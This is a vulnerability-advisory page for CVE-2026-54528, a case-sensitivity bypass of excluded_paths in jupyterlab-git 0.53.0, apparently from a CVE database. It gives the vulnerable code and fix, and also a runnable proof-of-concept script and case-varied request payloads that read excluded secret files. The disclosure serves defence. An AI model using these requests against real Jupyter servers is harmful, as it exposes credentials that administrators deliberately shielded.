Skip to main content

jupyterlab-git CVE-2026-54528

| EUVDEUVD-2026-42429 HIGH
Improper Handling of Case Sensitivity (CWE-178)
2026-06-19 https://github.com/jupyterlab/jupyterlab-git GHSA-436q-jwfr-rm2h
7.1
CVSS 3.1 · Vendor: https://github.com/jupyterlab/jupyterlab-git
Share

Severity by source

Vendor (https://github.com/jupyterlab/jupyterlab-git) PRIMARY
7.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
vuln.today AI
5.3 MEDIUM

Network-reachable and authenticated (PR:L); AC:H because exploitation requires a case-insensitive host filesystem and a pre-existing excluded_paths configuration; read-only bypass yields C:H, no integrity or availability impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/jupyterlab/jupyterlab-git).

CVSS VectorVendor: https://github.com/jupyterlab/jupyterlab-git

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 19, 2026 - 21:26 vuln.today
Analysis Generated
Jun 19, 2026 - 21:26 vuln.today
CVE Published
Jun 19, 2026 - 19:36 github-advisory
HIGH 7.1

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 12 pypi packages depend on jupyterlab-git (12 direct, 0 indirect)

Ecosystem-wide dependent count for version 0.54.0.

DescriptionCVE.org

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment - e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... - gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable Code

python
# jupyterlab_git/handlers.py:84-92
async def prepare(self):
    """Check if the path should be skipped"""
    await ensure_async(super().prepare())
    path = self.path_kwargs.get("path")
    if path is not None:
        excluded_paths = self.git.excluded_paths
        for excluded_path in excluded_paths:
            if fnmatch.fnmatchcase(path, excluded_path):
# ← always case-sensitive
                raise tornado.web.HTTPError(404)

Root Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.

python
fnmatch.fnmatchcase("/project/secrets", "/project/secrets")
# True  - blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets")
# False - bypasses check

On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:

  • Read file content at any git ref (/content endpoint)
  • Read working tree files in the excluded directory
  • View git status, log, diff on the excluded path
  • Enumerate commits touching excluded files

Attack Scenario

  1. Admin configures c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]
  2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked)
  3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass)
  4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.

python
import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error

from jupyterlab_git.handlers import GitHandler
# real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core

PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"


def post(path_seg, endpoint, body=None):
    url = f"{BASE_URL}/git/{path_seg}{endpoint}"
    data = json.dumps(body or {}).encode()
    req = urllib.request.Request(url, data=data, method="POST",
        headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
    try:
        resp = urllib.request.urlopen(req, timeout=10)
        return resp.status, json.loads(resp.read())
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


def main():
    base_dir = tempfile.mkdtemp(prefix="jlgit_")
    workspace = os.path.join(base_dir, "workspace")
    repo_dir = os.path.join(workspace, "project")
    secret_dir = os.path.join(repo_dir, "secrets")
    os.makedirs(secret_dir)

    with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
        f.write(SECRET + "\n")

    git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
               "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
    subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
    subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
    subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
                   capture_output=True, check=True, env=git_env)

    config_path = os.path.join(base_dir, "jupyter_server_config.py")
    with open(config_path, "w") as f:
        f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
        f.write(f'c.ServerApp.token = "{TOKEN}"\n')
        f.write(f'c.ServerApp.open_browser = False\n')
        f.write(f'c.ServerApp.port = {PORT}\n')
        f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
        f.write(f'c.ServerApp.disable_check_xsrf = True\n')
        f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')

    env = os.environ.copy()
    env["JUPYTER_CONFIG_DIR"] = base_dir
    env["JUPYTER_DATA_DIR"] = base_dir
    proc = subprocess.Popen(
        [sys.executable, "-m", "jupyter_server", f"--config={config_path}",
         "--ServerApp.jpserver_extensions={'jupyterlab_git': True}"],
        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)

    for _ in range(30):
        try:
            req = urllib.request.Request(f"{BASE_URL}/api/status",
                                         headers={"Authorization": f"token {TOKEN}"})
            if urllib.request.urlopen(req, timeout=2).status == 200:
                break
        except (urllib.error.URLError, OSError):
            pass
        time.sleep(0.5)
    else:
        proc.kill()
        shutil.rmtree(base_dir, ignore_errors=True)
        sys.exit("server failed to start")

    try:
# exclusion works
        code, _ = post("project/secrets", "/status")
        blocked = code == 404
# bypass
        code, _ = post("project/Secrets", "/status")
        bypassed = code == 200
# exfiltrate
        code, body = post("project/Secrets", "/content",
                          {"filename": "./cred.txt", "reference": {"git": "HEAD"}})
        content = body.get("content", "") if isinstance(body, dict) else ""
        exfiltrated = SECRET in content

        ok = blocked and bypassed and exfiltrated
        print(f"exclusion enforced (lowercase): {blocked}")
        print(f"bypass (case-varied):           {bypassed}")
        print(f"secret exfiltrated:             {exfiltrated}")
        print(f"result:                         {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
        return ok

    finally:
        proc.terminate()
        proc.wait(timeout=5)
        shutil.rmtree(base_dir, ignore_errors=True)


if __name__ == "__main__":
    sys.exit(0 if main() else 1)
bash
pip install 'jupyterlab-git==0.53.0'
python poc.py

<img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" />

Fix

python
if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
    raise tornado.web.HTTPError(404)

Or apply os.path.normcase() to both operands before comparison.

AnalysisAI

Authorization bypass in jupyterlab-git 0.53.0 and earlier allows authenticated JupyterLab users to read admin-excluded git directories on case-insensitive filesystems (macOS APFS, Windows NTFS) by altering the case of URL path segments. The GitHandler.prepare() check uses fnmatch.fnmatchcase(), which is unconditionally case-sensitive, while the underlying filesystem resolves case-varied paths to the same location. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to Jupyter server
Delivery
Identify excluded git path
Exploit
Issue case-varied /git/Path/status request
Execution
Bypass fnmatchcase check
Persist
Call /content endpoint at HEAD ref
Impact
Exfiltrate secrets from excluded directory

Vulnerability AssessmentAI

Exploitation Requires (1) an authenticated session on the target Jupyter server with the jupyterlab-git extension enabled, (2) the server running on a case-insensitive host filesystem - specifically macOS APFS (default) or Windows NTFS; Linux ext4/xfs deployments are not vulnerable, (3) the administrator must have configured `c.JupyterLabGit.excluded_paths` to gate at least one sensitive directory (without this config there is nothing to bypass), and (4) the attacker must know or guess the excluded path name to vary its case. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N, 7.1 High) accurately reflects a network-reachable, low-privilege, no-interaction information-disclosure issue with high confidentiality impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated user on a shared JupyterLab server running on macOS or Windows discovers (or guesses) that the admin has excluded `/project/secrets` via `excluded_paths`. They issue `POST /git/project/Secrets/content` with a payload like `{"filename": "./cred.txt", "reference": {"git": "HEAD"}}`; the case-sensitive exclusion check misses the variant, the filesystem resolves it to the same directory, and the server returns the file contents - including any committed credentials, API keys, or secrets in the excluded path's git history. …
Remediation Vendor-released patch: upgrade jupyterlab-git to 0.54.0 or later via `pip install -U jupyterlab-git>=0.54.0` and restart the Jupyter server; this replaces `fnmatch.fnmatchcase()` with case-normalized matching (e.g. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Audit all JupyterLab deployments to identify systems running jupyterlab-git 0.53.0 or earlier, prioritizing Windows and macOS installations with admin-excluded directories. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-54528 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy